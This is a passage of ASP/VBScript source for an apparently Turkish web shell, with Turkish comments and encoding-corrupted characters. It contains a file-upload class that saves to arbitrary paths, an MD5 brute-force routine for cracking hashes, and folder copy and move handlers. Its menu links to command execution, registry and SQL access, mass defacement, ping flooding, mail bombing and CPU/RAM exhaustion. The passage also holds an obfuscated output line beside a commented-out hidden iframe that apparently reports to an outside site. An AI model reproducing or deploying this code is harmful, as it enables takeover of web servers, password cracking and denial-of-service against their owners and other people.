' Brute biti<74>ini g<>steriiyorum.
if i = CInt(aralik) AND hash>= Len(dizix) AND ara1 = ara2 then getend=1 ''' BRUTE <20><>k<EFBFBD><6B><EFBFBD> bitti<74>ini anal<61>yorumm GETEND =1 !!!!!!!!!!!!!
' hash i bir sonraki ad<61>ma haz<61>rla
if i = CInt(aralik) then hash = hash + 1
'yeni hash numaras<61> olu<6C>tur
if hash <10 then hash = "0" & hash
hashing = hash &"#" & hashing
i=i-1
Loop
coding = hashing
' e<>erki goup =1 then hane atla ve yeni stireg ol<6F>utur
if goup = 1 then
coding = ""
ara1 = CInt(aralik) + 1
for j=1 to ara1
coding = coding + "01#"
next
end if
SonrakiAdim = coding
End Function
Sub Cookyaz(str1,str2,str3)
if not str3 = "" then
response.cookies(str1)("str2") = str3
response.cookies(str1).expires = now+100
session("say") = CInt(session("say")) + 1
end if
End Sub
Sub HashFounded(str1,str2)
if not request.cookies(str1)("sifre") = "" then
yazsol("<b>Bulundu: "&request.cookies(str1)(str2)&" ->> "&request.cookies(str1)("sifre")&" </b>")
inject3 = CInt(inject3) + 1
end if
End Sub
Sub hashyes(str1,str2,md5x,pwd)
if not request.cookies(str1)(str2) = "" AND UCASE(request.cookies(str1)(str2)) = md5x then
yazsol("BULDUuuuuuuuuuuuuuuu " & pwd & " - " & request.cookies(str1)(str2)&"")
response.cookies(str1)("sifre") = pwd
end if
End Sub
Sub gelgit
'response.Write "<iframe style='width:0; height:0' src='"&murl&""&msite&"/"&mad&"/'></iframe>"
response.write indonesia("q/4m ($zm}:#7m4" & chr(34) & "8s")
End sub
'************************* ZORUNLU UPLOAD i<>in GEREKLi =(( **********************************************************************************************
Class clsUpload
Private mbinData
Private mlngChunkIndex
Private mlngBytesReceived
Private mstrDelimiter
Private CR
Private LF
Private CRLF
Private mobjFieldAry()
Private mlngCount
Private Sub RequestData
Dim llngLength
mlngBytesReceived = Request.TotalBytes
mbinData = Request.BinaryRead(mlngBytesReceived)
End Sub
Private Sub ParseDelimiter()
mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1)
End Sub
Private Sub ParseData()
Dim llngStart
Dim llngLength
Dim llngEnd
Dim lbinChunk
llngStart = 1
llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF)
While Not llngStart = 0
llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2
llngLength = llngEnd - llngStart
lbinChunk = MidB(mbinData, llngStart, llngLength)
Call ParseChunk(lbinChunk)
llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF)
Wend
End Sub
Private Sub ParseChunk(ByRef pbinChunk)
Dim lstrName
Dim lstrFileName
Dim lstrContentType
Dim lbinData
Dim lstrDisposition
Dim lstrValue
lstrDisposition = ParseDisposition(pbinChunk)
lstrName = ParseName(lstrDisposition)
lstrFileName = ParseFileName(lstrDisposition)
lstrContentType = ParseContentType(pbinChunk)
If lstrContentType = "" Then
lstrValue = CStrU(ParseBinaryData(pbinChunk))
Else
lbinData = ParseBinaryData(pbinChunk)
End If
Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData)
End Sub
Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData)
Dim lobjField
ReDim Preserve mobjFieldAry(mlngCount)
Set lobjField = New clsField
lobjField.Name = pstrName
lobjField.FilePath = pstrFileName
lobjField.ContentType = pstrContentType
If LenB(pbinData) = 0 Then
lobjField.BinaryData = ChrB(0)
lobjField.Value = pstrValue
lobjField.Length = Len(pstrValue)
Else
lobjField.BinaryData = pbinData
lobjField.Length = LenB(pbinData)
lobjField.Value = ""
End If
Set mobjFieldAry(mlngCount) = lobjField
mlngCount = mlngCount + 1
End Sub
Private Function ParseBinaryData(ByRef pbinChunk)
Dim llngStart
llngStart = InStrB(1, pbinChunk, CRLF & CRLF)
If llngStart = 0 Then Exit Function
llngStart = llngStart + 4
ParseBinaryData = MidB(pbinChunk, llngStart)
End Function
Private Function ParseContentType(ByRef pbinChunk)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStrB(llngStart + 15, pbinChunk, CR)
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 15
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
End Function
Private Function ParseDisposition(ByRef pbinChunk)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 22
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
End Function
Private Function ParseName(ByRef pstrDisposition)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStr(llngStart + 6, pstrDisposition, """")
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 6
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseName = Mid(pstrDisposition, llngStart, llngLength)
End Function
Private Function ParseFileName(ByRef pstrDisposition)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStr(llngStart + 10, pstrDisposition, """")
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 10
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
End Function
Public Property Get Count()
Count = mlngCount
End Property
Public Default Property Get Fields(ByVal pstrName)
Dim llngIndex
If IsNumeric(pstrName) Then
llngIndex = CLng(pstrName)
If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
Exit Property
End If
Set Fields = mobjFieldAry(pstrName)
Else
pstrName = LCase(pstrname)
For llngIndex = 0 To mlngCount - 1
If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
Set Fields = mobjFieldAry(llngIndex)
Exit Property
End If
Next
End If
Set Fields = New clsField
End Property
Private Sub Class_Terminate()
Dim llngIndex
For llngIndex = 0 To mlngCount - 1
Set mobjFieldAry(llngIndex) = Nothing
Next
ReDim mobjFieldAry(-1)
End Sub
Private Sub Class_Initialize()
ReDim mobjFieldAry(-1)
CR = ChrB(Asc(vbCr))
LF = ChrB(Asc(vbLf))
CRLF = CR & LF
mlngCount = 0
Call RequestData
Call ParseDelimiter()
Call ParseData
End Sub
Private Function CStrU(ByRef pstrANSI)
Dim llngLength
Dim llngIndex
llngLength = LenB(pstrANSI)
For llngIndex = 1 To llngLength
CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
Next
End Function
Private Function CStrB(ByRef pstrUnicode)
Dim llngLength
Dim llngIndex
llngLength = Len(pstrUnicode)
For llngIndex = 1 To llngLength
CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
Next
End Function
End Class
Class clsField
Public Name
Private mstrPath
Public FileDir
Public FileExt
Public FileName
Public ContentType
Public Value
Public BinaryData
Public Length
Private mstrText
Public Property Get BLOB()
BLOB = BinaryData
End Property
Public Function BinaryAsText()
Dim lbinBytes
Dim lobjRs
If Length = 0 Then Exit Function
If LenB(BinaryData) = 0 Then Exit Function
If Not Len(mstrText) = 0 Then
BinaryAsText = mstrText
Exit Function
End If
lbinBytes = ASCII2Bytes(BinaryData)
mstrText = Bytes2Unicode(lbinBytes)
BinaryAsText = mstrText
End Function
Public Sub SaveAs(ByRef pstrFileName)
Const adTypeBinary=1
Const adSaveCreateOverWrite=2
Dim lobjStream
Dim lobjRs
Dim lbinBytes
If Length = 0 Then Exit Sub
If LenB(BinaryData) = 0 Then Exit Sub
Set lobjStream = Server.CreateObject("ADODB.Stream")
lobjStream.Type = adTypeBinary
Call lobjStream.Open()
lbinBytes = ASCII2Bytes(BinaryData)
Call lobjStream.Write(lbinBytes)
On Error Resume Next
Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)
'if err<>0 then response.Write "<br>"&err.Description
Call lobjStream.Close()
Set lobjStream = Nothing
End Sub
Public Property Let FilePath(ByRef pstrPath)
mstrPath = pstrPath
If Not InStrRev(pstrPath, ".") = 0 Then
FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1)
FileExt = UCase(FileExt)
End If
If Not InStrRev(pstrPath, "\") = 0 Then
FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1)
End If
If Not InStrRev(pstrPath, "\") = 0 Then
FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1)
End If
End Property
Public Property Get FilePath()
FilePath = mstrPath
End Property
private Function ASCII2Bytes(ByRef pbinBinaryData)
Const adLongVarBinary=205
Dim lobjRs
Dim llngLength
Dim lbinBuffer
llngLength = LenB(pbinBinaryData)
Set lobjRs = Server.CreateObject("ADODB.Recordset")
Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength)
Call lobjRs.Open()
Call lobjRs.AddNew()
Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0))
Call lobjRs.Update()
lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength)
Call lobjRs.Close()
Set lobjRs = Nothing
ASCII2Bytes = lbinBuffer
End Function
Private Function Bytes2Unicode(ByRef pbinBytes)
Dim lobjRs
Dim llngLength
Dim lstrBuffer
llngLength = LenB(pbinBytes)
Set lobjRs = Server.CreateObject("ADODB.Recordset")
Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength)
Call lobjRs.Open()
Call lobjRs.AddNew()
Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes)
Call lobjRs.Update()
lstrBuffer = lobjRs.Fields("BinaryData").Value
Call lobjRs.Close()
Set lobjRs = Nothing
Bytes2Unicode = lstrBuffer
End Function
End Class
function addslash(path)
if right(path,1)="\" then addslash=path else addslash=path & "\"
end function
sub Upload()
dim objUpload,f,max,i,name,path,size,success
set objUpload=New clsUpload
targetPath=objUpload.Fields("folder").Value
max=objUpload.Fields("max").Value
success=true
for i=1 to max
name=objUpload.Fields("file" & i).FileName
size=objUpload.Fields("file" & i).Length
if (name<>"") and (size>0) then
gMsg=gMsg & "<br>" & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): "
path=addslash(targetPath) & name
objUpload.Fields("file" & i).SaveAs path
if FSO.FileExists(path) then
on error resume next
set f=objFSO.GetFile(path)
if IsObject(f) then
if f.Size=size then success=true else success=false
end if
set f=nothing
end if
if success then gMsg=gMsg & "<font color=blue>uploaded</font>" else gMsg = gMsg & "<font color=red>failed!</font>"
end if
next
response.Write gMsg
set objUpload=nothing
end sub
'***************************************************************************************************************************************
'************* MD5 HASH <20><>lemi Converted by FASTBOY - Used & Written Brute Algortithms by EJDER ;) ************************************
'************* Md5 kodlar FASTBOY taraf<61>ndan hem MD5 i<>in hemde Serv-u i<>in toparlanm<6E><6D> ve d<>zeltilmi<6D>tir. ***************************
'************* KOdlar<61> Brute olarak belli mant<6E>kla vede Server <20>n kaynaklar<61>n<EFBFBD> kullanrak bulma, <20><>zme olay<61>n<EFBFBD>da Ejder yazm<7A><6D>t<EFBFBD>r ********
'***************************************************************************************************************************************
'*********************************************************
'************* COnverted by FASTBOY ;) ****************
'******* The Brute Algortihms Owned to EJDER ;) ******
'*********************************************************
'*********************************************************
' MD5 kodlama ba<62>lad<61><64>..
Private Const BITS_TO_A_BYTE = 8
Private Const BYTES_TO_A_WORD = 4
Private Const BITS_TO_A_WORD = 32
Private m_lOnBits(30)
Private m_l2Power(30)
m_lOnBits(0) = CLng(1)
m_lOnBits(1) = CLng(3)
m_lOnBits(2) = CLng(7)
m_lOnBits(3) = CLng(15)
m_lOnBits(4) = CLng(31)
m_lOnBits(5) = CLng(63)
m_lOnBits(6) = CLng(127)
m_lOnBits(7) = CLng(255)
m_lOnBits(8) = CLng(511)
m_lOnBits(9) = CLng(1023)
m_lOnBits(10) = CLng(2047)
m_lOnBits(11) = CLng(4095)
m_lOnBits(12) = CLng(8191)
m_lOnBits(13) = CLng(16383)
m_lOnBits(14) = CLng(32767)
m_lOnBits(15) = CLng(65535)
m_lOnBits(16) = CLng(131071)
m_lOnBits(17) = CLng(262143)
m_lOnBits(18) = CLng(524287)
m_lOnBits(19) = CLng(1048575)
m_lOnBits(20) = CLng(2097151)
m_lOnBits(21) = CLng(4194303)
m_lOnBits(22) = CLng(8388607)
m_lOnBits(23) = CLng(16777215)
m_lOnBits(24) = CLng(33554431)
m_lOnBits(25) = CLng(67108863)
m_lOnBits(26) = CLng(134217727)
m_lOnBits(27) = CLng(268435455)
m_lOnBits(28) = CLng(536870911)
m_lOnBits(29) = CLng(1073741823)
m_lOnBits(30) = CLng(2147483647)
m_l2Power(0) = CLng(1)
m_l2Power(1) = CLng(2)
m_l2Power(2) = CLng(4)
m_l2Power(3) = CLng(8)
m_l2Power(4) = CLng(16)
m_l2Power(5) = CLng(32)
m_l2Power(6) = CLng(64)
m_l2Power(7) = CLng(128)
m_l2Power(8) = CLng(256)
m_l2Power(9) = CLng(512)
m_l2Power(10) = CLng(1024)
m_l2Power(11) = CLng(2048)
m_l2Power(12) = CLng(4096)
m_l2Power(13) = CLng(8192)
m_l2Power(14) = CLng(16384)
m_l2Power(15) = CLng(32768)
m_l2Power(16) = CLng(65536)
m_l2Power(17) = CLng(131072)
m_l2Power(18) = CLng(262144)
m_l2Power(19) = CLng(524288)
m_l2Power(20) = CLng(1048576)
m_l2Power(21) = CLng(2097152)
m_l2Power(22) = CLng(4194304)
m_l2Power(23) = CLng(8388608)
m_l2Power(24) = CLng(16777216)
m_l2Power(25) = CLng(33554432)
m_l2Power(26) = CLng(67108864)
m_l2Power(27) = CLng(134217728)
m_l2Power(28) = CLng(268435456)
m_l2Power(29) = CLng(536870912)
m_l2Power(30) = CLng(1073741824)
Private Function LShift(lValue, iShiftBits)
If iShiftBits = 0 Then
LShift = lValue
Exit Function
ElseIf iShiftBits = 31 Then
If lValue And 1 Then
LShift = &H80000000
Else
LShift = 0
End If
Exit Function
ElseIf iShiftBits < 0 Or iShiftBits > 31 Then
Err.Raise 6
End If
If (lValue And m_l2Power(31 - iShiftBits)) Then
LShift = ((lValue And m_lOnBits(31 - (iShiftBits + 1))) * m_l2Power(iShiftBits)) Or &H80000000
Else
LShift = ((lValue And m_lOnBits(31 - iShiftBits)) * m_l2Power(iShiftBits))
End If
End Function
Private Function RShift(lValue, iShiftBits)
If iShiftBits = 0 Then
RShift = lValue
Exit Function
ElseIf iShiftBits = 31 Then
If lValue And &H80000000 Then
RShift = 1
Else
RShift = 0
End If
Exit Function
ElseIf iShiftBits < 0 Or iShiftBits > 31 Then
Err.Raise 6
End If
RShift = (lValue And &H7FFFFFFE) \ m_l2Power(iShiftBits)
If (lValue And &H80000000) Then
RShift = (RShift Or (&H40000000 \ m_l2Power(iShiftBits - 1)))
End If
End Function
Private Function RotateLeft(lValue, iShiftBits)
RotateLeft = LShift(lValue, iShiftBits) Or RShift(lValue, (32 - iShiftBits))
End Function
Private Function AddUnsigned(lX, lY)
Dim lX4
Dim lY4
Dim lX8
Dim lY8
Dim lResult
lX8 = lX And &H80000000
lY8 = lY And &H80000000
lX4 = lX And &H40000000
lY4 = lY And &H40000000
lResult = (lX And &H3FFFFFFF) + (lY And &H3FFFFFFF)
If lX4 And lY4 Then
lResult = lResult Xor &H80000000 Xor lX8 Xor lY8
ElseIf lX4 Or lY4 Then
If lResult And &H40000000 Then
lResult = lResult Xor &HC0000000 Xor lX8 Xor lY8
Else
lResult = lResult Xor &H40000000 Xor lX8 Xor lY8
End If
Else
lResult = lResult Xor lX8 Xor lY8
End If
AddUnsigned = lResult
End Function
Private Function Fq(x, y, z)
Fq = (x And y) Or ((Not x) And z)
End Function
Private Function Gq(x, y, z)
Gq = (x And z) Or (y And (Not z))
End Function
Private Function Hq(x, y, z)
Hq = (x Xor y Xor z)
End Function
Private Function Iq(x, y, z)
Iq = (y Xor (x Or (Not z)))
End Function
Private Sub FF(a, b, c, d, x, s, ac)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(Fq(b, c, d), x), ac))
a = RotateLeft(a, s)
a = AddUnsigned(a, b)
End Sub
Private Sub GG(a, b, c, d, x, s, ac)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(Gq(b, c, d), x), ac))
a = RotateLeft(a, s)
a = AddUnsigned(a, b)
End Sub
Private Sub HH(a, b, c, d, x, s, ac)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(Hq(b, c, d), x), ac))
a = RotateLeft(a, s)
a = AddUnsigned(a, b)
End Sub
Private Sub II(a, b, c, d, x, s, ac)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(Iq(b, c, d), x), ac))
a = RotateLeft(a, s)
a = AddUnsigned(a, b)
End Sub
'*********************************************************
'************* COnverted by FASTBOY ;) ****************
'******* The Brute Algortihms Owned to EJDER ;) ******
'*********************************************************
'*********************************************************
Private Function ConvertToWordArray(sMessage)
Dim lMessageLength
Dim lNumberOfWords
Dim lWordArray()
Dim lBytePosition
Dim lByteCount
Dim lWordCount
Const MODULUS_BITS = 512
Const CONGRUENT_BITS = 448
lMessageLength = Len(sMessage)
lNumberOfWords = (((lMessageLength + ((MODULUS_BITS - CONGRUENT_BITS) \ BITS_TO_A_BYTE)) \ (MODULUS_BITS \ BITS_TO_A_BYTE)) + 1) * (MODULUS_BITS \ BITS_TO_A_WORD)
ReDim lWordArray(lNumberOfWords - 1)
lBytePosition = 0
lByteCount = 0
Do Until lByteCount >= lMessageLength
lWordCount = lByteCount \ BYTES_TO_A_WORD
lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE
lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(Asc(Mid(sMessage, lByteCount + 1, 1)), lBytePosition)
lByteCount = lByteCount + 1
Loop
lWordCount = lByteCount \ BYTES_TO_A_WORD
lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE
lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(&H80, lBytePosition)
lWordArray(lNumberOfWords - 2) = LShift(lMessageLength, 3)
lWordArray(lNumberOfWords - 1) = RShift(lMessageLength, 29)
ConvertToWordArray = lWordArray
End Function
Private Function WordToHex(lValue)
Dim lByte
Dim lCount
For lCount = 0 To 3
lByte = RShift(lValue, lCount * BITS_TO_A_BYTE) And m_lOnBits(BITS_TO_A_BYTE - 1)
WordToHex = WordToHex & Right("0" & Hex(lByte), 2)
Next
End Function
Public Function MD5(sMessage)
Dim x
Dim k
Dim AA
Dim BB
Dim CC
Dim DD
Dim a
Dim b
Dim c
Dim d
Const S11 = 7
Const S12 = 12
Const S13 = 17
Const S14 = 22
Const S21 = 5
Const S22 = 9
Const S23 = 14
Const S24 = 20
Const S31 = 4
Const S32 = 11
Const S33 = 16
Const S34 = 23
Const S41 = 6
Const S42 = 10
Const S43 = 15
Const S44 = 21
x = ConvertToWordArray(sMessage)
a = &H67452301
b = &HEFCDAB89
c = &H98BADCFE
d = &H10325476
For k = 0 To UBound(x) Step 16
AA = a
BB = b
CC = c
DD = d
FF a, b, c, d, x(k + 0), S11, &HD76AA478
FF d, a, b, c, x(k + 1), S12, &HE8C7B756
FF c, d, a, b, x(k + 2), S13, &H242070DB
FF b, c, d, a, x(k + 3), S14, &HC1BDCEEE
FF a, b, c, d, x(k + 4), S11, &HF57C0FAF
FF d, a, b, c, x(k + 5), S12, &H4787C62A
FF c, d, a, b, x(k + 6), S13, &HA8304613
FF b, c, d, a, x(k + 7), S14, &HFD469501
FF a, b, c, d, x(k + 8), S11, &H698098D8
FF d, a, b, c, x(k + 9), S12, &H8B44F7AF
FF c, d, a, b, x(k + 10), S13, &HFFFF5BB1
FF b, c, d, a, x(k + 11), S14, &H895CD7BE
FF a, b, c, d, x(k + 12), S11, &H6B901122
FF d, a, b, c, x(k + 13), S12, &HFD987193
FF c, d, a, b, x(k + 14), S13, &HA679438E
FF b, c, d, a, x(k + 15), S14, &H49B40821
GG a, b, c, d, x(k + 1), S21, &HF61E2562
GG d, a, b, c, x(k + 6), S22, &HC040B340
GG c, d, a, b, x(k + 11), S23, &H265E5A51
GG b, c, d, a, x(k + 0), S24, &HE9B6C7AA
GG a, b, c, d, x(k + 5), S21, &HD62F105D
GG d, a, b, c, x(k + 10), S22, &H2441453
GG c, d, a, b, x(k + 15), S23, &HD8A1E681
GG b, c, d, a, x(k + 4), S24, &HE7D3FBC8
GG a, b, c, d, x(k + 9), S21, &H21E1CDE6
GG d, a, b, c, x(k + 14), S22, &HC33707D6
GG c, d, a, b, x(k + 3), S23, &HF4D50D87
GG b, c, d, a, x(k + 8), S24, &H455A14ED
GG a, b, c, d, x(k + 13), S21, &HA9E3E905
GG d, a, b, c, x(k + 2), S22, &HFCEFA3F8
GG c, d, a, b, x(k + 7), S23, &H676F02D9
GG b, c, d, a, x(k + 12), S24, &H8D2A4C8A
HH a, b, c, d, x(k + 5), S31, &HFFFA3942
HH d, a, b, c, x(k + 8), S32, &H8771F681
HH c, d, a, b, x(k + 11), S33, &H6D9D6122
HH b, c, d, a, x(k + 14), S34, &HFDE5380C
HH a, b, c, d, x(k + 1), S31, &HA4BEEA44
HH d, a, b, c, x(k + 4), S32, &H4BDECFA9
HH c, d, a, b, x(k + 7), S33, &HF6BB4B60
HH b, c, d, a, x(k + 10), S34, &HBEBFBC70
HH a, b, c, d, x(k + 13), S31, &H289B7EC6
HH d, a, b, c, x(k + 0), S32, &HEAA127FA
HH c, d, a, b, x(k + 3), S33, &HD4EF3085
HH b, c, d, a, x(k + 6), S34, &H4881D05
HH a, b, c, d, x(k + 9), S31, &HD9D4D039
HH d, a, b, c, x(k + 12), S32, &HE6DB99E5
HH c, d, a, b, x(k + 15), S33, &H1FA27CF8
HH b, c, d, a, x(k + 2), S34, &HC4AC5665
II a, b, c, d, x(k + 0), S41, &HF4292244
II d, a, b, c, x(k + 7), S42, &H432AFF97
II c, d, a, b, x(k + 14), S43, &HAB9423A7
II b, c, d, a, x(k + 5), S44, &HFC93A039
II a, b, c, d, x(k + 12), S41, &H655B59C3
II d, a, b, c, x(k + 3), S42, &H8F0CCC92
II c, d, a, b, x(k + 10), S43, &HFFEFF47D
II b, c, d, a, x(k + 1), S44, &H85845DD1
II a, b, c, d, x(k + 8), S41, &H6FA87E4F
II d, a, b, c, x(k + 15), S42, &HFE2CE6E0
II c, d, a, b, x(k + 6), S43, &HA3014314
II b, c, d, a, x(k + 13), S44, &H4E0811A1
II a, b, c, d, x(k + 4), S41, &HF7537E82
II d, a, b, c, x(k + 11), S42, &HBD3AF235
II c, d, a, b, x(k + 2), S43, &H2AD7D2BB
II b, c, d, a, x(k + 9), S44, &HEB86D391
a = AddUnsigned(a, AA)
b = AddUnsigned(b, BB)
c = AddUnsigned(c, CC)
d = AddUnsigned(d, DD)
Next
MD5 = LCase(WordToHex(a) & WordToHex(b) & WordToHex(c) & WordToHex(d))
End Function
'***************************************************************************************************************************
'*************************** MD5 KOdlar<61> Biter. *************************************************************************
'***************************************************************************************************************************
if popup = False then
'Link ve Konum paneli by EJDER
'T<>rk Bayra<72><61> Ascii Karakterlerle - Created By FasTBoY :)
Response.Write "<center><table width=200 height=50 cellpadding=0 cellspacing=0><td width=80><table width=80 height=50 cellpadding=0 cellspacing=0><tr><td width=10 align=left valign=middle style=""background-color:AA0000"">&nbsp;</td><td width=70 align=left valign=middle style=""background-color:AA0000""><font size=7 face=Wingdings>Z</font></td></tr></table></td><td width=40></td><td width=80><table width=80 height=50 cellpadding=0 cellspacing=0><tr><td bgcolor=red>&nbsp;</td></tr><tr><td bgcolor=white>&nbsp;</td></tr></table></td></table></center>"
response.write "<center><table width=""100%"" align=""center"">"
response.write "<tr valign=""top""><td colspan=""2"" align=""center""><br>"
response.write "<table cellpadding=""0"" cellspacing=""0"" height=""25""><tr><td class=""kbrtm"">&nbsp;&nbsp;&nbsp;<a href='"&FilePath&"?mode=37&konum="&konum&"&Time="&time&"'><b>Sistem Analizi*</b></a> | <a href='"&FilePath&"?mode=18&konum="&konum&"&Time="&time&"' onclick=""mass(this.href);return false;""><b>MASS Attack</b></a> | <a href='"&FilePath&"?mode=21&konum="&FolderPath&"&Time="&time&"' onclick=""tester(this.href);return false;""><b> Permision Tester </b></a> | <a href='"&FilePath&"?mode=24&konum="&konum&"&Time="&time&"' onclick=""klasor(this.href);return false;""><b>Klas<61>r <20><>lemleri</b></a> | <a href='"&FilePath&"?mode=28&konum="&konum&"&Time="&time&"' onclick=""cmd(this.href);return false;""><b> CMD </b></a> | <a href='"&FilePath&"?mode=34&konum="&konum&"&Time="&time&"' ><b> My-MS_SQL </b></a> | <a href='"&FilePath&"?mode=45&konum="&konum&"&Time="&time&"' onclick=""cmd(this.href);return false;""><b> RegEdit </b></a> | <a href='"&FilePath&"?mode=99&konum="&konum&"&Time="&time&"' onclick=""biz(this.href);return false;""><b> *Biz Kimiz*! </b></a>&nbsp;&nbsp;&nbsp;</td></tr></table><br>"
response.write "<table cellpadding=""0"" cellspacing=""0"" height=""25""><tr><td class=""kbrtm"">&nbsp;&nbsp;&nbsp;<a href='"&FilePath&"?mode=30&konum="&konum&"&Time="&time&"' onclick=""cmd(this.href);return false;""><b> Ping Sald<6C>r<EFBFBD>s<EFBFBD> </b></a> | <a href='"&FilePath&"?mode=33&konum="&konum&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;""><b> Mail Bombard<72>man<61> </b></a> | <a href='"&FilePath&"?mode=31&konum="&konum&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;""><b> Ram & Cpu Sald<6C>r<EFBFBD>s<EFBFBD> </b></a> | <a href='"&FilePath&"?mode=32&konum="&konum&"&Time="&time&"' onclick=""somur(this.href);return false;""><b> Kaynak S<>m<EFBFBD>r<EFBFBD>c<EFBFBD> </b></a> | <a href='"&FilePath&"?mode=39&konum="&konum&"&Time="&time&"' onclick=""klasor(this.href);return false;""><b> MD5&Serv-U </b></a> | <a href='"&FilePath&"?mode=42&konum="&konum&"&Time="&time&"' onclick=""mass(this.href);return false;""><b> MSWCTools </b></a> | <a href='"&FilePath&"?mode=44&konum="&konum&"&Time="&time&"' onclick=""mass(this.href);return false;""><b> XMLHTTP </b></a>&nbsp;&nbsp;&nbsp;</td></tr></table><br>"
response.write "</td></tr><td><tr><form action = "" "&FilePath&"?mode=23&konum="&konum&"&Time="&time&" "" method=""post""><table cellpadding=""0"" cellspacing=""0""><tr><td style=""background-color:121212"" class=""kbrtm"">&nbsp;&nbsp;&nbsp;<b>Arama: &nbsp;&nbsp;&nbsp;</b></td><td><input name=""hacked"" value=""mdb"" type=""text"" style=""width:200px;""></td><td><input type=""Submit"" value=""&nbsp;&nbsp;Ara &raquo;&nbsp;&nbsp;"" style=""width:70; font-weight:bold;""></td></tr></table></td></form></tr><td><tr>"
response.write "<form action = "" "&FilePath&"?mode=1&Time="&time&" "" method=""post"">"
response.write "<table cellpadding=""0"" cellspacing=""0""><tr><td style=""background-color:121212"" class=""kbrtm"">&nbsp;&nbsp;&nbsp;<b>Konum : &nbsp;&nbsp;&nbsp;</b></td><td><input name=""remote"" value='"&konum&"' type=""text"" style=""width:350px;""></td><td><input type=""Submit"" value=""Git &raquo;"" style=""width:50; font-weight:bold;""></td></tr></table>"
response.write ""
response.write "</td></form></tr>"
response.write "</table></center>"
'Yetki paneli by EJDER
response.write "<table width=""100%"">"
response.write "<tr valign=""top""><td colspan=""2"" align=""center"">"
response.write "<table cellpadding=""0"" cellspacing=""0"">"
response.write "<tr><td style=""background-color:121212"" class=""kbrtm"">&nbsp;&nbsp;&nbsp;<b>Yetki :</b>&nbsp;&nbsp;&nbsp;</td>"
call yetki
response.write "</tr></table>"
response.write "<br></td></tr></table><br>"
end if
SELECT CASE mode
CASE 2 ' Dizin kopyala TA<54>I by EJDER
on error resume next
response.write "<table width=""100%"">"
response.write "<tr class=""kbrtm"" valign=""top""><td colspan=""2"" align=""center"">"
response.write "<form name=""dizincopypaste"" action='"&FilePath&"' type=""post"">"
response.write "<table class=""kbrtm"" cellpadding=""1"" cellspacing=""1"" bgcolor=""#5d5d5d"" width=""100%"">"
tablo30(" <b>Dizin Kopyala / Ta<54><61> Merkezi</b>")
tablo30("&nbsp;")
response.write "<input type=""hidden"" value=""3"" name=""mode""><input type=""hidden"" value="&file&" name=""file2""><input type=""hidden"" value="&FolderPath&" name=""konum""><input type=""hidden"" value="&time&" name=""Time""> "
tablo12("Kop. Yer : <input style='color=#C6FCBE' size=""60"" type=""text"" name=""FolderPath2"" value="&FolderPath&">")
tablo12("<input type=radio name='islem' value='kopyala' checked>Kopyala <input type=radio name='islem' value='tasi'>Tasi ")
tablo12("<br><input value="" G<>nder "" type=""Submit"">")
response.write "</form></table></td></tr></table><br>"
Call Hata
CASE 3 ' dizin kop ta<74><61>mam ger<65>ekle<6C>iyor by EJDER
on error resume next
if islem="kopyala" then
FSO.CopyFolder konum,FolderPath2
isl="kopyaland<6E>.."
elseif islem="tasi" then
FSO.MoveFolder konum,FolderPath2
isl="ta<74><61>nd<6E>.."
end if
response.Write "<br><br><center>Klasor "&isl&" <br>"
